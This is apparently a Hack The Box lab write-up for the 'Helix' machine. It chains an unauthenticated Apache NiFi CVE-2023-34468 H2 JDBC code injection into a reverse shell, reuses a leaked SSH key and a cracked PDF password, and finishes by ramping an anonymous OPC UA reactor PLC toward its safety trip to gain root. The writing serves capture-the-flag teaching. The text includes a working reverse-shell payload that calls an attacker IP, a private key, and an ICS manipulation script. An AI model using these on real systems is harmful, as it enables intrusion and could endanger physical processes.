← cd ..
tl;dr

The vhost flow.helix.htb proxies an Apache NiFi 1.21.0 canvas that runs completely unauthenticated — GET /nifi-api/flow/current-user returns anonymous with every permission true — so CVE-2023-34468 (NiFi 0.0.2–1.21.0, fixed 1.22.0, CVSS 8.8) is reachable cold: a DBCPConnectionPool pointed at an H2 in-memory JDBC URL plus an ExecuteSQL processor running RUNSCRIPT FROM 'http://attacker/rce.sql' executes H2's CREATE ALIAS Java stored procedure and returns a shell as nifi. A forgotten support bundle leaves operator's OpenSSH ed25519 key world-readable at /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak, giving user.txt. Root is an ICS safety-interlock abuse: operator may sudo /usr/local/sbin/helix-maint-console, which only checks that /opt/helix/state/maintenance_window holds a future timestamp before exec'ing bash -p, and the root helix-safety controller writes that file when the reactor enters a hazardous test band. The loopback-only OPC UA PLC on 127.0.0.1:4840 accepts anonymous writes, so setting Mode=MAINTENANCE, TestOverride=True and slowly ramping CalibrationOffset until Temperature crosses 295 °C — without hitting the 305 °C trip — makes root open the window itself.

contents
pwned.png
Helix pwned certificate
helix.md

Helix — HTB Writeup#

Machine Summary#

PropertyValue
NameHelix
IP10.129.245.123 (reset mid-assessment to 10.129.41.210 and back — per-spawn)
OSLinux (Ubuntu 22.04.5 LTS “jammy”, kernel 5.15.0-164-generic)
Hostnamehelix
Domainhelix.htb (+ flow.helix.htb)
DifficultyMedium
Key TopicsUnauthenticated Apache NiFi 1.21.0, H2 JDBC RUNSCRIPT code injection (CVE-2023-34468), SSH key left in a support bundle, encrypted PDF cracking, unauthenticated OPC UA PLC, safety-window race → sudo maintenance console

Overview#

Helix exposes only 22 and 80. Port 80 302s everything to helix.htb, a static “industrial automation” brochure with no server side at all — feroxbuster over 56 163 words finds exactly one path (/). The box is entirely behind a vhost: flow.helix.htb, which nginx proxy_passes to 127.0.0.1:8080, an Apache NiFi 1.21.0 canvas. The critical property is not the version alone but that the instance runs plain HTTP with authentication disabled — GET /nifi-api/flow/current-user returns "identity":"anonymous" with canWrite: true on the controller, policies and tenants. Everything the CVE needs is available without a login.

CVE-2023-34468 (Apache NiFi 0.0.2 – 1.21.0, fixed in 1.22.0, CVSS 8.8) is a code-injection flaw in the DBCPConnectionPool / HikariCPConnectionPool controller services: they accept an arbitrary JDBC URL, and the H2 driver is bundled with NiFi. H2 supports CREATE ALIAS ... AS $$ <Java> $$, a Java stored procedure, and RUNSCRIPT FROM '<url>', which fetches SQL over HTTP. Chaining them through an ExecuteSQL processor gives arbitrary Java — and therefore Runtime.exec — as the nifi service account (uid 998). The box even ships the hint: a pre-existing controller service named MaintenanceDB is already configured with jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1, org.h2.Driver, and Database User = operator.

nifi cannot reach /home/operator, but the NiFi installation tree hides the pivot: /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak is a world-readable OpenSSH ed25519 private key (comment root@management) that authenticates as operator over SSH. That is user.txt, and operator’s home holds the two documents that explain root: an AI-generated control systems diagram.png naming opc.tcp://127.0.0.1:4840/helix/ and marking exactly which OPC UA nodes are writable, and an AES-256 encrypted Operator Control & Safety Guide.pdf (password operator1, rockyou in 29 s) describing the reactor’s trip thresholds and maintenance window.

Root is the ICS puzzle. operator may run one command as root: /usr/local/sbin/helix-maint-console. Reading it shows the whole gate is [ "$(date +%s)" -lt "$(cat /opt/helix/state/maintenance_window)" ], after which it launches /bin/bash -p -i under systemd-run --scope. /opt/helix/state is root-only, so the flag must be written for you — and helix-safety.service runs as root and does exactly that when the reactor enters a hazardous-but-not-tripped band. The PLC (helix-plc, user plc) serves an unauthenticated OPC UA endpoint on 127.0.0.1:4840 with Mode, TestOverride and CalibrationOffset writable by anonymous clients. Forward the port, switch to MAINTENANCE, enable TestOverride, and ramp CalibrationOffset in 0.5 steps until Temperature crosses ~295 °C while staying under the 305 °C trip. The safety controller opens a ~120-second window, and sudo helix-maint-console hands back a root shell.


Reconnaissance#

Port scanning#

nmap -sC -sV -T4 -p- --open -v 10.129.245.123 -oN nmap/allports.txt
PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)80/tcp open  http    nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://helix.htb/|_http-server-header: nginx/1.18.0 (Ubuntu)

Two ports, and / redirects by name — vhost routing. Only the apex is known at this stage:

10.129.245.123   helix.htb

The brochure site is empty#

feroxbuster -u http://helix.htb/ \  -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
200      GET     1117l     3956w    43341c http://helix.htb/[####################] - 56s    56163/56163   found:1       errors:0

One hit out of 56 163: the index page itself. helix.htb is a single static page (“Helix Industries | Industrial Automation & Critical Infrastructure”) with anchor-only navigation and no forms, no API, no PHP. Directory brute-forcing is finished here — the content is on another name.

Vhost enumeration#

The default server 302s any unrecognised Host to http://helix.htb/ with a fixed 8-line nginx error body, so the filter is on line count, not size:

ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fl 8
flow    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 62ms]

→ flow.helix.htb, the only subdomain in 114 442 candidates. The 1068-byte body is NiFi’s “Did you mean: /nifi” bounce page. Add it before going further:

10.129.245.123   helix.htb flow.helix.htb

Enumeration#

Apache NiFi 1.21.0 — anonymous, with every permission#

curl -s http://flow.helix.htb/nifi-api/flow/about
{"about":{"title":"NiFi","version":"1.21.0","uri":"http://flow.helix.htb:80/nifi-api/", "buildTag":"nifi-1.21.0-RC2","buildRevision":"892f822", "buildTimestamp":"04/03/2023 21:28:28 UTC"}}

The version is the headline, but check the auth state before planning around a login — NiFi only enables its single-user provider when it is running HTTPS, and this one is proxied plain HTTP:

curl -s http://flow.helix.htb/nifi-api/flow/current-user
{"identity":"anonymous","anonymous":true, "controllerPermissions":{"canRead":true,"canWrite":true}, "policiesPermissions":{"canRead":true,"canWrite":true}, "tenantsPermissions":{"canRead":true,"canWrite":true}, ...}

Anonymous with write on everything. There is no credential step on this box at all.

CVEAffectedEffect
CVE-2023-34468Apache NiFi 0.0.2 – 1.21.0 (fixed 1.22.0)DBCPConnectionPool/HikariCPConnectionPool accept an H2 JDBC URL → arbitrary code execution (CVSS 8.8, CWE-94)

Listing the existing controller services confirms H2 is already wired up and even leaks a username:

R=$(curl -s http://flow.helix.htb/nifi-api/flow/process-groups/root \    | python3 -c "import sys,json;print(json.load(sys.stdin)['processGroupFlow']['id'])")curl -s "http://flow.helix.htb/nifi-api/flow/process-groups/$R/controller-services"
### MaintenanceDB    Database Connection URL      = jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1    Database Driver Class Name   = org.h2.Driver    database-driver-locations    = /opt/nifi-1.21.0/lib/h2-2.1.214.jar    Database User                = operator

h2-2.1.214.jar is on the NiFi classpath, and the account name operator shows up again later as the SSH user.


Exploitation — User Flag#

Step 1: CVE-2023-34468 — H2 CREATE ALIAS + RUNSCRIPT → shell as nifi#

The mechanism is three H2 features stacked. DBCPConnectionPool does not validate the JDBC scheme, so jdbc:h2:mem:... is accepted. H2’s CREATE ALIAS name AS $$ ... $$ compiles and registers inline Java as a stored procedure. And RUNSCRIPT FROM '<url>' makes H2 fetch and execute a SQL script over HTTP — which means the whole payload can be hosted off-box and delivered by a single ExecuteSQL query, avoiding any escaping problems in the NiFi property field.

www/rce.sql:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {  String[] command = {"bash", "-c", cmd};  java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");  return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.119/4446 0>&1')
python3 -m http.server 8000        # in www/nc -lnvp 4446                      # in another terminal

On the canvas at http://flow.helix.htb/nifi/:

  1. Controller Settings → Controller Services → + → DBCPConnectionPool

    PropertyValue
    Database Connection URLjdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;
    Database Driver Class Nameorg.h2.Driver
    Database Driver Location(s)work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar

    Enable it. (The bundled POI NAR copy is used because it is guaranteed present; /opt/nifi-1.21.0/lib/h2-2.1.214.jar works identically — and the pre-existing MaintenanceDB service is already pointed there, so it can simply be reused and this step skipped entirely.)

  2. Add an ExecuteSQL processor, connect its success and failure relationships to a sink (an Output Port or a LogAttribute processor — NiFi refuses to start a processor with unterminated relationships), and configure:

    PropertyValue
    Database Connection Pooling ServiceDBCPConnectionPool
    SQL select queryRUNSCRIPT FROM 'http://10.10.15.119:8000/rce.sql'
  3. Start the processor.

10.129.245.123 - - [06/Aug/2026 07:23:43] "GET /rce.sql HTTP/1.1" 200 -
listening on [any] 4446 ...connect to [10.10.15.119] from (UNKNOWN) [10.129.245.123] 47882bash: cannot set terminal process group (1020): Inappropriate ioctl for devicenifi@helix:/opt/nifi-1.21.0$

Upgrade the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'# ^Zstty raw -echo; fgexport TERM=xterm SHELL=/bin/bash
uid=998(nifi) gid=998(nifi) groups=998(nifi)

Step 2: Map the OT services#

nifi is a bare service account — no sudo, no groups, stock SUID set. What matters is what else is running and what is listening:

ss -tlnpps auxf
BindServiceRuns as
0.0.0.0:80nginx (helix.htb, flow.helix.htb)root / www-data
127.0.0.1:8080Apache NiFinifi (998)
127.0.0.1:8081/opt/helix/bin/helix-hmi — reactor dashboardwww-data (33)
127.0.0.1:4840/opt/helix/bin/helix-plc — OPC UA serverplc (997)
—/opt/helix/bin/helix-safety — safety controllerroot

/etc/nginx/sites-enabled/flow.helix.htb confirms the proxy:

server {    listen 80;    server_name flow.helix.htb;    location / { proxy_pass http://127.0.0.1:8080/; ... }}

linpeas produced nothing actionable here (no writable PATH entry, no interesting SUID, no cron). The find that mattered was a targeted sweep for stray key material:

find / -type f \( -name "*.kdbx" -o -name "*.bak" -o -name "*.old" \     -o -name "id_rsa*" -o -name "*.pem" \) 2>/dev/null
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak

Step 3: The support bundle key → operator#

cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJnWAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==-----END OPENSSH PRIVATE KEY-----

The comment decodes to root@management, which is misleading — it authenticates as operator, the name already leaked by the MaintenanceDB controller service:

chmod 600 findings/operator_id_ed25519.bakssh -i findings/operator_id_ed25519.bak operator@helix.htb
uid=1001(operator) gid=1001(operator) groups=1001(operator)
cat ~/user.txt

User Flag: 247f651d61edda40ae957858091e959a


Privilege Escalation — Root Flag#

Step 1: operator’s home is the briefing pack#

ls -la /home/operator
-rw------- 1 operator operator 920611 Jan 26  2026 'control systems diagram.png'-rw-rw-r-- 1 operator operator  28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'lrwxrwxrwx 1 root     root          9 Apr 20 10:14  .bash_history -> /dev/null

Pull both down:

scp -i operator_id_ed25519.bak "operator@helix.htb:control systems diagram.png" .scp -i operator_id_ed25519.bak "operator@helix.htb:Operator\ Control\ \&\ Safety\ Guide.pdf" .

The PNG is not steganography — exiftool returns only C2PA provenance (Claim Generator Info Name : ChatGPT, Actions Software Agent Name : GPT-4o). Its value is what it draws: an OPC UA architecture diagram naming the endpoint opc.tcp://127.0.0.1:4840/helix/ and labelling each node — CalibrationOffset, Mode, TestOverride, ResetTrip as Writable; TripActive, RodsInserted, EmergencyCooling as Read Only.

The PDF is AES-256 encrypted:

Encryption : Standard V5.6 (256-bit)
pdf2john "Operator Control & Safety Guide.pdf" > pdf.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
operator1        (Operator Control & Safety Guide.pdf)1g 0:00:00:29 DONE (2026-08-06 10:37) 9041p/s

The document gives the exact plant logic:

ConditionThreshold
Safety trip firesTemperature ≥ ~305 °C or Pressure ≥ ~75 bar
Trip reset acceptedTemp < ~288 °C, Pressure < ~70 bar, Mode=NORMAL, TestOverride off, CalibrationOffset=0.0
Maintenance window opensTemperature ≈ 295 °C or Pressure ≈ 73 bar, still below trip, no active trip
Entering maintenanceMode=MAINTENANCE, then TestOverride=True, then ramp CalibrationOffset

and the warning that matters operationally: “If the offset is increased too aggressively the PLC will trigger a safety trip and CalibrationOffset changes are immediately ignored.”

Step 2: One sudo entry, and reading it#

sudo -l
User operator may run the following commands on helix:    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

It is mode 0750 root:operator — readable, which is the whole point:

cat /usr/local/sbin/helix-maint-console
FLAG="/opt/helix/state/maintenance_window"window_ok() {  [ -f "$FLAG" ] || return 1  until_ts="$(cat "$FLAG")"; now="$(date +%s)"  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1  [ "$now" -lt "$until_ts" ] || return 1}if ! window_ok; then echo "Maintenance window CLOSED."; exit 1; fi...systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group \  --property=SendSIGHUP=yes /bin/bash -p -i

There is no command parsing, no argument handling, no PATH trick — the entire authorisation decision is “does /opt/helix/state/maintenance_window contain a future Unix timestamp”. /opt/helix is root-only (Permission denied for operator), so the file cannot be forged. It has to be written by whoever owns it:

cat /etc/systemd/system/helix-safety.service
[Unit]Description=Helix Safety ControllerAfter=helix-plc.service[Service]User=rootExecStart=/opt/helix/bin/helix-safetyRestart=always

The root safety controller opens the window. The exploit is to make the plant satisfy its criteria.

The HMI on 127.0.0.1:8081 states the trigger outright, and doubles as a live monitor:

ssh -i operator_id_ed25519.bak -L 8081:127.0.0.1:8081 operator@helix.htbcurl -s http://127.0.0.1:8081/ | sed 's/<[^>]*>//g'
Maintenance window is NOT the same as MAINTENANCE mode. Window opens only whensafety controller authorizes it under hazardous test conditions.  Temperature: 284.0 °C   Pressure: 69.00 bar   CalibrationOffset: 0.0 °C  Trip Active: False   Mode: NORMAL   Test Override: False  OPC UA (internal): opc.tcp://127.0.0.1:4840/helix/  Privileged Maintenance Window  Status: CLOSED    No maintenance window file present.    This window is granted by the safety controller only when a hazardous test    condition is detected (e.g., Temp >= 295°C or Pressure >= 73 bar) while still below trip.

Step 3: Reach the PLC and map the address space#

The OPC UA server is loopback-only, so forward it:

ssh -i operator_id_ed25519.bak -L 4840:127.0.0.1:4840 operator@helix.htb

opcua-client (the GUI) will not install — its PyQt5 dependency needs qmake:

sipbuild.pyproject.PyProjectOptionException: specify a working qmake or add it to PATH

Use the library directly instead (python-opcua; asyncua also works):

python3 -m venv .venv && source .venv/bin/activate && pip install opcua

A full recursive walk from Objects dumps ~450 lines of the standard Server namespace and eventually breaks the connection, so tools/opc/target-browse.py skips Server and lists only the vendor tree:

=== Plant [ns=2;i=1] ===  Reactor [ns=2;i=2]   Safety [ns=2;i=7]   Control [ns=2;i=11]

tools/opc/target-browse-v2.py reads those three nodes’ children — anonymously, with no security policy:

=== Reactor [ns=2;i=2] ===  TemperatureRaw    [ns=2;i=3]  = 283.98394810433166  Temperature       [ns=2;i=4]  = 283.98394810433166  Pressure          [ns=2;i=5]  = 68.99741798318368  CalibrationOffset [ns=2;i=6]  = 0.0=== Safety [ns=2;i=7] ===  RodsInserted     [ns=2;i=8]  = False  EmergencyCooling [ns=2;i=9]  = False  TripActive       [ns=2;i=10] = False=== Control [ns=2;i=11] ===  Mode         [ns=2;i=12] = 'NORMAL'  TestOverride [ns=2;i=13] = False  ResetTrip    [ns=2;i=14] = False

Writing directly to Safety is pointless — those are enforced server-side, exactly as the guide says. The only lever is CalibrationOffset, and only once Mode and TestOverride are set.

Step 4: Ramp the reactor into the hazard band#

tools/opc/ramp.py enters maintenance mode, then walks the offset up in 0.5 increments with a 2-second settle between writes, aborting the moment TripActive latches:

mode.set_value('MAINTENANCE')override.set_value(True)cur, step = 0.0, 0.5while True:    cur += step    offset.set_value(cur)    time.sleep(2)    t, p, tr = temp.get_value(), press.get_value(), trip.get_value()    print(f'offset={cur:.2f}  T={t:.2f}  P={p:.2f}  trip={tr}')    if tr:        print('!! TRIPPED'); break    if t >= 295 or p >= 73:        print('>>> WINDOW OPEN — run helix-maint-console NOW')        input('Press enter after console run to exit...'); break
python3 ramp.py
Mode=MAINTENANCE Override=Trueoffset=0.50  T=284.56  P=69.03  trip=Falseoffset=1.00  T=285.11  P=69.06  trip=False...offset=10.00  T=294.53  P=69.31  trip=Falseoffset=10.50  T=294.96  P=69.28  trip=Falseoffset=11.00  T=295.40  P=69.26  trip=False>>> WINDOW OPEN — run helix-maint-console NOW

Temperature tracks the offset roughly 1:1 — ~1.09 °C per unit early on, tapering to ~0.88 by offset 11 — while pressure barely moves and never approaches its 73 bar leg, so temperature is the only realistic trigger. Twenty-two steps, about 45 seconds, and 295 °C is crossed with ~10 °C of margin below the trip.

Step 5: Cash in the window#

Keep ramp.py blocked on its input() so the offset stays applied, and run the console from the SSH session:

sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.

The safety controller polls rather than reacting instantly — the flag file is not written the same second the threshold is crossed. Run it again:

sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted[!] Window expires in 112 seconds[!] Session will be terminated automaticallyroot@helix:/home/operator# id && whoami && cat /root/root.txtuid=0(root) gid=0(root) groups=0(root)root

Root Flag: 724a979e28a47117b653a466025affdc


Obstacles & Lessons Learned#

  • Check NiFi’s auth state before planning around a login. CVE-2023-34468 is documented as requiring an “authenticated and authorized user”, which reads like a blocker. It is not one here: NiFi only stands up its single-user provider over HTTPS, and this instance is plain HTTP behind nginx, so GET /nifi-api/flow/current-user returns anonymous with canWrite:true on the controller. One unauthenticated curl answers the question the CVE text raises.
  • ffuf needs -fl 8, not a size filter. Any unknown Host gets nginx’s 302 to http://helix.htb/ — a 154-byte, 8-line body. Filtering on size works too, but the line filter survives the Date header changing length; without either, all 114 442 words “match”.
  • ExecuteSQL will not start with unterminated relationships. Both success and failure must go somewhere — an Output Port or a LogAttribute sink. The processor sits invalid with a yellow warning triangle otherwise, and it is easy to misread that as the exploit failing.
  • The H2 pool was already on the box. A controller service called MaintenanceDB ships pre-configured with jdbc:h2:mem:maint, org.h2.Driver, /opt/nifi-1.21.0/lib/h2-2.1.214.jar and Database User = operator. It is both the tell that H2 is the intended route and a shortcut — ExecuteSQL can be pointed straight at it, with no new controller service to create. It also leaks the SSH username two steps early.
  • The box reset mid-exploitation and the IP changed (10.129.245.123 → 10.129.41.210 → back). The reverse-shell callback address in rce.sql, the /etc/hosts line, and the listener port all had to be re-synced; a payload fired at the old IP just silently never connects.
  • linpeas was noise; a five-word find was the answer. 7 000 lines of output flagged nothing exploitable — no writable PATH, no unusual SUID, no cron. find / -type f \( -name "*.bak" -o -name "id_rsa*" -o -name "*.pem" \) surfaced operator_id_ed25519.bak immediately. Support bundles, backups and .bak files inside an application’s own install tree are worth a dedicated pass.
  • The key comment lies. operator_id_ed25519.bak carries the comment root@management. Trying root@helix.htb with it fails; the filename is the honest half.
  • operator1 is a PDF password, not a system password. su root with it fails outright, and it is not reused anywhere else. Cracking the PDF is worth doing for the content — the trip thresholds and the 295 °C window figure — not for the credential.
  • The PNG is not a stego challenge. exiftool shows only C2PA / GPT-4o generation metadata. It is a diagram meant to be looked at: it names opc.tcp://127.0.0.1:4840/helix/ and marks CalibrationOffset/Mode/TestOverride/ResetTrip writable while TripActive/RodsInserted/EmergencyCooling are read-only. That is the entire privesc target list, drawn out.
  • “Maintenance window” ≠ “MAINTENANCE mode”. The HMI says so in its subtitle, and it is the single easiest thing to get wrong. Setting Mode=MAINTENANCE alone changes nothing about sudo helix-maint-console; the mode only unlocks CalibrationOffset, and the window is a separate grant that root’s safety controller issues on hazard.
  • Writing the Safety nodes directly does nothing. TripActive, RodsInserted and EmergencyCooling are computed server-side, and ResetTrip=True does not force-clear a latched trip — it is only honoured once temperature, pressure, mode, override and offset are all already back in the safe envelope. Attacking them is the obvious first move and a guaranteed dead end.
  • Ramp slowly or lose several minutes. The trip latches at ≥305 °C / ≥75 bar, and recovering needs offset back to 0.0, Mode=NORMAL, TestOverride=False and the reactor to coast below 288 °C. 0.5 per 2 s is comfortable; large single writes overshoot straight past the 10 °C-wide window into the trip.
  • helix-cleanup.timer fires every 5 minutes (OnUnitActiveSec=5min) and runs helix-cleanup.sh, which systemctl restart helix-safety and resets plant state. Any ramp has to complete and be cashed in inside that budget.
  • The first sudo helix-maint-console will probably say CLOSED. The safety controller polls the PLC rather than reacting on write, so there is a lag of a poll interval between crossing 295 °C and the flag file appearing. Keep the ramp script blocked on its input() — releasing it lets the offset be cleaned up — and just run the console a second time.
  • opcua-client is unusable without Qt. pip install opcua-client pulls PyQt5, which needs qmake to build. Skip the GUI entirely: pip install opcua (or asyncua) plus twenty lines of Python does everything.
  • Recursive browsing from Objects kills the session. Walking the full Server namespace dumps ~450 lines of OPC UA housekeeping and then dies with BrokenPipeError on disconnect. Enumerate Objects one level deep, find Plant [ns=2;i=1], and target ns=2 only.
  • Finding it next time: sudo -l returns exactly one script, and it is readable — read it. Its entire authorisation check is a timestamp in a root-only file, which reframes the whole problem from “escape a wrapper” to “who writes that file, and how do I make them”. From there, any loopback OPC UA endpoint that accepts anonymous writes to Control-class nodes is the privilege escalation, and the two documents in ~operator tell you the exact set point.

Tools Used#

ToolPurpose
nmapExternal port/service scan (22, 80)
feroxbusterDirectory brute force on helix.htb (one hit — confirmed the site is static)
ffufVhost discovery (flow.helix.htb) with -fl 8 against the default-server 302
curlNiFi fingerprinting (/nifi-api/flow/about, /flow/current-user), controller-service enumeration, HMI dashboard reads
www/rce.sqlCVE-2023-34468 payload — H2 CREATE ALIAS Java stored procedure + reverse shell, fetched by RUNSCRIPT FROM
python3 -m http.server / ncPayload delivery and reverse-shell catch
linpeas / pspy64Post-foothold enumeration (produced no vector; pspy did confirm helix-safety runs as uid 0)
findTargeted sweep for *.bak / id_rsa* / *.pem → the leaked SSH key
www/fwd.pySmall threaded TCP forwarder used from the nifi shell to expose loopback 8081 (HMI) before SSH access existed
ssh -LPort-forwarding 4840 (OPC UA) and 8081 (HMI) to the attacker box
exiftoolMetadata on both loot files — ruled out stego, confirmed PDF AES-256
pdf2john + johnCracked the safety guide (operator1, rockyou, 29 s)
python-opcuaOPC UA client library (after opcua-client’s PyQt5 build failed)
tools/opc/browse.pyFull recursive address-space walk — too noisy, superseded
tools/opc/target-browse.pyLists Objects children excluding Server, isolating Plant [ns=2;i=1]
tools/opc/target-browse-v2.pyDumps Reactor/Safety/Control node values and NodeIds
tools/opc/ramp.pyThe exploit — enters maintenance mode and steps CalibrationOffset in 0.5 increments until Temp ≥ 295 °C, aborting on TripActive

Appendix — Captured Values (this spawn)#

ATTACKER_IP   = 10.10.15.119BOX_IP        = 10.129.245.123   (reset to 10.129.41.210 mid-session — per-spawn, rediscover each reset)VHOSTS        = helix.htb                       -> /var/www/helix (static)                flow.helix.htb                  -> 127.0.0.1:8080 (Apache NiFi)Apache NiFi   = 1.21.0  (build nifi-1.21.0-RC2, rev 892f822)   (CVE-2023-34468)NiFi auth     = none — anonymous identity, canWrite:true on controller/policies/tenantsH2 driver     = h2-2.1.214.jar  (/opt/nifi-1.21.0/lib/, and bundled in nifi-poi-nar-1.21.0)Pre-existing CS = MaintenanceDB  jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1  user=operatorSERVICE UIDS  = nifi 998 | plc 997 | helix-hmi www-data 33 | helix-safety root 0INTERNAL      = 127.0.0.1:8080 NiFi | 127.0.0.1:8081 HMI | 127.0.0.1:4840 OPC UASSH KEY       = /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak  (ed25519, comment root@management -> user operator)PDF PASSWORD  = operator1        (Operator Control & Safety Guide.pdf; NOT a system password)OPC UA        = opc.tcp://127.0.0.1:4840/helix/  (FreeOpcUa Python Server, anonymous, no security policy)  NodeIds     = Temperature ns=2;i=4 | Pressure ns=2;i=5 | CalibrationOffset ns=2;i=6                TripActive ns=2;i=10 | Mode ns=2;i=12 | TestOverride ns=2;i=13 | ResetTrip ns=2;i=14THRESHOLDS    = trip >= 305 C / 75 bar | window >= 295 C / 73 bar | reset < 288 C / 70 barSUDO          = (root) NOPASSWD: /usr/local/sbin/helix-maint-consoleWINDOW FLAG   = /opt/helix/state/maintenance_window  (unix ts; written by root helix-safety; ~120 s)USER_FLAG     = 247f651d61edda40ae957858091e959aROOT_FLAG     = 724a979e28a47117b653a466025affdc